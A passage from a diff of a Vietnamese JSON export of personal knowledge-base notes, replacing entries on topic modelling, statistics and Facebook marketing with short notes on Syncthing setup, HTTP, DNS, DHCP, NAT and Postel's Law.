NLP/WhatEvery1Says/Collection là những sản phẩm đầu ra, bao gồm các mô hình chủ đề và minh hoạ tương tác có thể dùng trực tiếp", + "Tiêu đề": "Hướng dẫn đồng bộ dữ liệu với Android", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Syncthing/Hướng dẫn đồng bộ dữ liệu với Android", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Key Collections (with Topic Models & Visualizations) – WE1S](https://we1s.ucsb.edu/research/we1s-materials/collections-topic-models/)\n", + "Toàn bộ nội dung": "\n\n## B1: Tải Syncthing\nTệp cài đặt Syncthing cho [Windows](https://github.com/canton7/SyncTrayzor/releases/download/v1.1.29/SyncTrayzorSetup-x64.exe), [Mac](https://github.com/syncthing/syncthing-macos/releases/download/v1.21.0-1/Syncthing-1.21.0-1.dmg).\n\n## B2: Tìm thiết bị\na. **Trên máy tính:** bấm scan device\nb. **Trên điện thoại:** quét mã QR\nc. **Nếu không được:** Bấm vào nút Add Remote Device và dán ID vào mục Device ID\n\n## B3: Tạo một thư mục riêng trước khi đồng bộ\nNếu không tạo thì sẽ bị tràn tập tin ra ngoài.\n\n## B4: Nhấn accept\n> [!NOTE] Sau khi nhấn accept thì Syncthing sẽ không cho đổi sang thư mục khác\n> Nếu muốn đổi thì phải xóa đi làm lại từ đầu nếu muốn tiếp tục đồng bộ. Nên nếu thư mục đó sau này không phải di chuyển sang chỗ khác thì sẽ đỡ phải làm lại.\n\n> [!NOTE] [[Ảnh lưu trên kho trên điện thoại sẽ được thấy trong gallery ảnh]]\n\n\nXem thêm:: [[Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người]]\nXem thêm:: [[Sự khác biệt giữa Windows và Android, Mac trong tên file]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-18T07:21:00.000Z", - "Ngày cập nhật": "2024-09-01T09:26:00.000Z", - "id": "ab" + "Ngày tạo": "2023-06-10T05:00:00.000Z", + "Ngày cập nhật": "2024-09-09T02:41:00.000Z", + "id": "eK" }, { - "Tiêu đề": "Diễn giải mô hình WhatEvery1Says", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/WhatEvery1Says/Diễn giải mô hình WhatEvery1Says", + "Tiêu đề": "Ảnh lưu trên kho trên điện thoại sẽ được thấy trong gallery ảnh", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Syncthing/Ảnh lưu trên kho trên điện thoại sẽ được thấy trong gallery ảnh", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Interpreting Topic Models – WE1S](https://we1s.ucsb.edu/z_orphaned-pages/interpreting-topic-models/)\n[Very basic strategies for interpreting results from the Topic Modeling Tool – Miriam Posner's Blog](http://miriamposner.com/blog/very-basic-strategies-for-interpreting-results-from-the-topic-modeling-tool/)", + "Toàn bộ nội dung": "Hình ảnh trong vault sẽ tự động hiện lên trong gallery điện thoại\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-18T07:21:00.000Z", - "Ngày cập nhật": "2024-09-01T09:26:00.000Z", - "id": "ac" + "Ngày tạo": "2023-06-10T05:00:00.000Z", + "Ngày cập nhật": "2024-08-31T13:51:00.000Z", + "id": "eL" }, { - "Tiêu đề": "Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", + "Tiêu đề": "Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n[[Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta]] [[Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc]]\r\n", + "Toàn bộ nội dung": "Syncthing là dành cho nhóm nhỏ thôi, hoặc tốt nhất là giữa các thiết bị khác nhau của cùng một người. Nếu có nhiều người cùng xài thì sẽ dễ loạn lắm, tạo nhiều xung đột. Nếu có ai thao tác sai thì nó sẽ phá huỷ tất cả dữ liệu. \n\nGit chuyên cho việc hợp tác làm việc. Mỗi người có thể tự điều chỉnh thứ nào mình sẽ lấy xuống, thứ nào mình sẽ đẩy lên\n\nNhững thứ loạn khi dùng Syncthing cho nhiều người:\n- Ngăn những file không mong muốn\n- Mỗi người có một cách để đồng bộ trên điện thoại. \n- [[Ảnh lưu trên kho trên điện thoại sẽ được thấy trong gallery ảnh]]\n\n[[Hướng dẫn đồng bộ dữ liệu với Android]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "ad" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-09T02:34:00.000Z", + "id": "eM" }, { - "Tiêu đề": "Python và R", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Python và R", + "Tiêu đề": "Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[IBM]], \n[[Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng]]\n", + "Toàn bộ nội dung": "Nguồn:: ![What is a Protocol? (Deepdive) - YouTube](https://www.youtube.com/watch?v=d-zn-wv4Di8)\n\nMột trong những protocol phổ biến nhất là HTTP. [[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]].\n\n![Top 8 Most Popular Network Protocols Explained - YouTube](https://www.youtube.com/watch?v=P6SZLcGE4us)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-02T08:06:00.000Z", - "id": "ae" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T06:05:00.000Z", + "id": "eN" }, { - "Tiêu đề": "Nếu xem ma trận giống như dãy số thì cũng giống như xem sách giống như dãy chữ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Nếu xem ma trận giống như dãy số thì cũng giống như xem sách giống như dãy chữ", + "Tiêu đề": "HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [The Attention Mechanism in Large Language Models - YouTube](https://www.youtube.com/watch?v=OxCpWwDCDFQ&t=928s)", + "Toàn bộ nội dung": "Nguồn:: ![Web Server Concepts and Examples - YouTube](https://youtu.be/9J1nJOivdyw?si=YTY7jgE0OW8MjvxW&t=532)\n\n[[Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "af" + "Ngày cập nhật": "2024-09-09T06:05:00.000Z", + "id": "eO" }, { - "Tiêu đề": "Phép cộng và phép nhân thể hiện sức mạnh của dữ liệu. Phép trừ và phép chia thể hiện tương quan dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Phép cộng và phép nhân thể hiện sức mạnh của dữ liệu. Phép trừ và phép chia thể hiện tương quan dữ liệu", + "Tiêu đề": "Request là thứ client gửi cho server. Response là thứ server gửi cho client", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/Request là thứ client gửi cho server. Response là thứ server gửi cho client", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "Nguồn:: [[MDN]], [An overview of HTTP - HTTP | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\r\n\r\n[[Proxy làm trung gian để client lấy dữ liệu từ server]]\r\n[[Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "ag" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "eP" }, { - "Tiêu đề": "Khi các xác suất độc lập với nhau thì dùng phép nhân", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Xác suất thống kê/Khi các xác suất độc lập với nhau thì dùng phép nhân", + "Tiêu đề": "Trình duyệt chỉ gửi yêu cầu và nhận phản hồi ở dạng HTTP", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/Trình duyệt chỉ gửi yêu cầu và nhận phản hồi ở dạng HTTP", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Training Latent Dirichlet Allocation: Gibbs Sampling](https://youtu.be/BaM1uiCpj_E?t=890)\r\n", + "Toàn bộ nội dung": "[[Yêu cầu HTTP chỉ là một tệp văn bản]]\n[[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]] \nNguồn:: ![Web Server Concepts and Examples - YouTube](https://youtu.be/9J1nJOivdyw?si=YTY7jgE0OW8MjvxW&t=532)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "ah" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T04:46:00.000Z", + "id": "eQ" }, { - "Tiêu đề": "Phương sai là để biết mức độ phân tán của dữ liệu so với giá trị trung bình", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Xác suất thống kê/Phương sai là để biết mức độ phân tán của dữ liệu so với giá trị trung bình", + "Tiêu đề": "Yêu cầu HTTP chỉ là một tệp văn bản", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/Yêu cầu HTTP chỉ là một tệp văn bản", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "2 đồ thị đều có cùng giá trị trung bình. Nhưng cái màu đỏ thì độ phân tán thấp hơn. Còn cái màu xanh thì có độ phân tán cao hơn\r\n\r\n![](https://cdn.discordapp.com/attachments/953628307314855999/1249364291627257866/image0.png?ex=666708ab&is=6665b72b&hm=caeda91605327a996d0532935ebed0e47fbe212c5536f2321854eeaba81bb94e&)\r\n[![](https://upload.wikimedia.org/wikipedia/commons/thumb/6/64/Variance_visualisation.svg/220px-Variance_visualisation.svg.png)](https://en.m.wikipedia.org/wiki/File:Variance_visualisation.svg)\r\n\r\nGeometric visualisation of the variance of an arbitrary distribution (2, 4, 4, 4, 5, 5, 7, 9):\r\n\r\n1. A frequency distribution is constructed.\r\n2. The centroid of the distribution gives its mean.\r\n3. A square with sides equal to the difference of each value from the mean is formed for each value.\r\n4. Arranging the squares into a rectangle with one side equal to the number of values, _n_, results in the other side being the distribution's variance, _σ_2\r\n\r\nNguồn:: [[Wikipedia]], [Variance - Wikipedia](https://en.m.wikipedia.org/wiki/Variance)\r\n\r\n![Variance - Clearly Explained (How To Calculate Variance) - YouTube](https://youtu.be/x0rmUXWtSS8?si=lB9CNobgHKWjcPNJ)\r\n\r\nGiống như em có một cái camera để biết màu trung bình của một vật là gì. Giả sử nó là màu xanh dương. Nếu nó lấy được nhiều màu thì có thể yên tâm là nó hoạt động tốt. Nhưng nếu nó chỉ lấy được mấy màu gần màu xanh dương thì nó có vấn đề\r\n\r\nTrong tài chính, rủi ro được đo lường bằng sai biệt giữa lợi nhuận thực tế so với lợi nhuận kỳ vọng.\r\n\r\n[Rui ro & Loi nhuan--Tran Thi Que Giang-2016-02-29-16235109.pdf](https://fsppm.fulbright.edu.vn/cache/MPP8-531-L06V-Rui%20ro%20&%20Loi%20nhuan--Tran%20Thi%20Que%20Giang-2016-02-29-16235109.pdf)\r\n", + "Toàn bộ nội dung": "Nguồn:: ![Web Server Concepts and Examples - YouTube](https://youtu.be/9J1nJOivdyw?si=YTY7jgE0OW8MjvxW)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "ai" + "Ngày cập nhật": "2024-09-09T02:30:00.000Z", + "id": "eR" }, { - "Tiêu đề": "❓Không dùng vật thể mà chỉ dùng khối", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/❓Không dùng vật thể mà chỉ dùng khối", + "Tiêu đề": "DDNS cách để không cần phải biết IP của mình là gì mà vẫn có thể truy cập được, kể cả khi nó thay đổi không báo trước", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DDNS cách để không cần phải biết IP của mình là gì mà vẫn có thể truy cập được, kể cả khi nó thay đổi không báo trước", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n[[JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết]]\r\n", + "Toàn bộ nội dung": "Tên miền thông thường là dạng domain tĩnh. Nó sẽ chết khi IP thay đổi. Tên miền động (dynamic domain, DD) thì ko chết khi IP thay đổi\r\n\r\nNguồn:: ![DDNS - Dynamic DNS Explained - YouTube](https://www.youtube.com/watch?v=rOLGvZagdC0)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aj" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "eS" }, { - "Tiêu đề": "Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", + "Tiêu đề": "Default gateway là IP của router", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/Default gateway là IP của router", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Fibery]]\n[[Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được]]\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T09:27:00.000Z", - "id": "ak" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "eT" }, { - "Tiêu đề": "❓Tại sao không cho người chưa biết gì về công nghệ thông tin bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình?", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/❓Tại sao không cho người chưa biết gì về công nghệ thông tin bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình?", + "Tiêu đề": "DHCP giúp thiết bị có được những thông số cần thiết để kết nối mạng", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DHCP giúp thiết bị có được những thông số cần thiết để kết nối mạng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhiều nơi khi học lập trình trước sẽ cho bắt đầu học Python, vì Python giúp người mới học lập trình tránh được rất nhiều phiền toái (khi so sánh với các ngôn ngữ khác) vì cú pháp, khai báo, luật phức tạp... không cần thiết, từ đó giúp chúng ta tập trung vào cách thức giải quyết vấn đề. Điều này là đúng. Nhưng câu hỏi ở đây không phải là người mới nên bắt đầu bằng ngôn ngữ nào, mà là tại sao lại phải bắt đầu bằng việc học ngôn ngữ? Tại sao không bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình? Vì đó mới là cái thứ họ sẽ làm việc thường xuyên\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "Nguồn:: ![Network Protocols - ARP, FTP, SMTP, HTTP, SSL, TLS, HTTPS, DNS, DHCP - Networking Fundamentals - L6 - YouTube](https://youtu.be/E5bSumTAHZE?si=48l-GzMxr0rFf7ix&t=549)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:50:00.000Z", - "id": "al" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "eU" }, { - "Tiêu đề": "📊Tổ chức dữ liệu. Phân tích dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/📊Tổ chức dữ liệu. Phân tích dữ liệu", + "Tiêu đề": "DNS giúp chuyển tên miền mà con người hiểu được thành IP mà máy tính hiểu được", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DNS giúp chuyển tên miền mà con người hiểu được thành IP mà máy tính hiểu được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📊Tổ chức dữ liệu. Phân tích dữ liệu\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[1]\n```\n", + "Toàn bộ nội dung": "![What is DNS? How a DNS Server (Domain Name System) works? Learn about How DNS Works with our video! - YouTube](https://youtu.be/3eqEl6scOvw)\r\n[How DNS works. What is DNS? Learn how step by step.](https://howdns.works/)\r\n\r\n[[DNS sẽ đi hỏi các root nameserver]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T08:20:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "am" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "eV" }, { - "Tiêu đề": "Có những người mình mong họ like nhưng họ lại không phải là người mình cần", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Có những người mình mong họ like nhưng họ lại không phải là người mình cần", + "Tiêu đề": "DNS sẽ đi hỏi các root nameserver", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DNS sẽ đi hỏi các root nameserver", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "![](https://wizardzines.com/images/uploads/root-nameservers.png) \r\n![](https://i.imgur.com/ZMClF9q.png)\r\n[Root Server Technical Operations Association](https://root-servers.org/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-27T12:33:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "an" + "id": "eW" }, { - "Tiêu đề": "Có vẻ như để bài viết dưới dạng link hay dạng ảnh thì fb cũng đều phân phối như nhau", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Có vẻ như để bài viết dưới dạng link hay dạng ảnh thì fb cũng đều phân phối như nhau", + "Tiêu đề": "IP mọi người thường sử dụng là IP động", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IP mọi người thường sử dụng là IP động", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" @@ -37992,3096 +41817,2865 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ao" + "id": "eX" }, { - "Tiêu đề": "Quảng cáo trên Facebook", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Quảng cáo trên Facebook", + "Tiêu đề": "Internet tuân theo định luật Postel", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/Internet tuân theo định luật Postel", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Which brings us to Postel's Law, which I always bring up when I write about networks. When I do, invariably there's a slew of responses trying to debate whether Postel's Law is \"right,\" or \"a good idea,\" as if it were just an idea and not a force of nature.\r\n\r\nPostel's Law says simply this: be conservative in what you send, and liberal in what you accept. Try your best to correctly handle the bugs produced by the other end. The most successful network node is one that plans for every \"impossible\" corruption there might be in the input and does something sensible when it happens. (Sometimes, yes, \"something sensible\" is to throw an error.)\r\n\r\n[Side note: Postel's Law doesn't apply in every situation. You probably don't want your compiler to auto-fix your syntax errors, unless your compiler is javascript or HTML, which, kidding aside, actually were designed to do this sort of auto-correction for Postel's Law reasons. But the law does apply in virtually every complex situation where you need to communicate effectively, including human conversations. The way I like to say it is, \"It takes two to miscommunicate.\" A great listener, _or_ a skilled speaker, can resolve a lot of conflicts.]\r\n\r\nPostel's Law is the principle the Internet is based on. Not because Jon Postel was such a great salesperson and talked everyone into it, but because that is the only winning evolutionary strategy when internets are competing. Nature doesn't care what you think about Postel's Law, because the only Internet that happens will be the one that follows Postel's Law. Every other internet will, without exception, eventually be joined to The Internet by some goofball who does it wrong, but just well enough that it adds value, so that eventually nobody will be willing to break the connection. And then to maintain that connection will require further application of Postel's Law.\r\n\r\nNguồn:: [202007 - apenwarr](https://apenwarr.ca/log/?m=202007#:~:text=Internets%20are%20fundamentally%20sloppy)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ap" + "id": "eY" }, { - "Tiêu đề": "Seeding", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Seeding", + "Tiêu đề": "NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Share kèm page thì sẽ thấy được chỉ số reach trên page và đỡ mất công chèn hình, nhưng share trực tiếp hình thì hình sẽ được lưu trong media", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "aq" + "id": "eZ" }, { - "Tiêu đề": "Share bài từ page thì thấy được số tương tác trên Facebook", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Share bài từ page thì thấy được số tương tác trên Facebook", + "Tiêu đề": "NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "CTR thực chất là dựa trên impression. Nhưng khi đăng bài trong group thì fb không cho mình biết con số đó. Nếu share từ page thì có 3 nhược điểm: nhiều group không cho share page, số impression bị gộp chung chứ không tách riêng, UTM bị gộp chung chứ không tách riêng. Nên em đang suy nghĩ ko biết mình dùng số engagement để thay thế có được không? Hơn nữa giữa CTR với việc so sánh số người vào giữa các source thì em thấy cái sau có vẻ hữu ích hơn?\r\n", + "Toàn bộ nội dung": "[[NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe]]\r\nNguồn:: [Bad hosts, or: how I learned to stop worrying and love the overlay network](https://www.robinsloan.com/lab/bad-hosts/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-27T12:32:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ar" + "id": "ea" }, { - "Tiêu đề": "subdomain m, l, lm", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/subdomain m, l, lm", + "Tiêu đề": "NAT là lý do khiến cho mọi nỗ lực giải trung tâm hoá internet bị phá hỏng", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/NAT là lý do khiến cho mọi nỗ lực giải trung tâm hoá internet bị phá hỏng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "m là mobile. l là link shim, dùng để báo cho người dùng có phải là spam link hay ko. Nếu nghi là spam thì cho cảnh báo, còn nếu ko thì chuyển liền luôn.\n[Facebook](https://www.facebook.com/notes/10157814493891886/)\nNguồn:: [How to Fix m/lm/l.facebook.com in Google Analytics](https://holini.com/m-lm-l-facebook-com-referrals/)", + "Toàn bộ nội dung": "[[NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022]]\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-21T06:40:00.000Z", - "id": "as" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "eb" }, { - "Tiêu đề": "Tất cả like, share từ các phiên bản URL khác nhau sẽ được đổ hết về og:url", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Tất cả like, share từ các phiên bản URL khác nhau sẽ được đổ hết về og-url", + "Tiêu đề": "MAC không thay đổi được, còn IP thì thay đổi được", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/MAC không thay đổi được, còn IP thì thay đổi được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Webmasters - Sharing](https://developers.facebook.com/docs/sharing/webmasters/)", + "Toàn bộ nội dung": "Nguồn:: ![MAC vs IP Addresses - the difference between MAC and IP 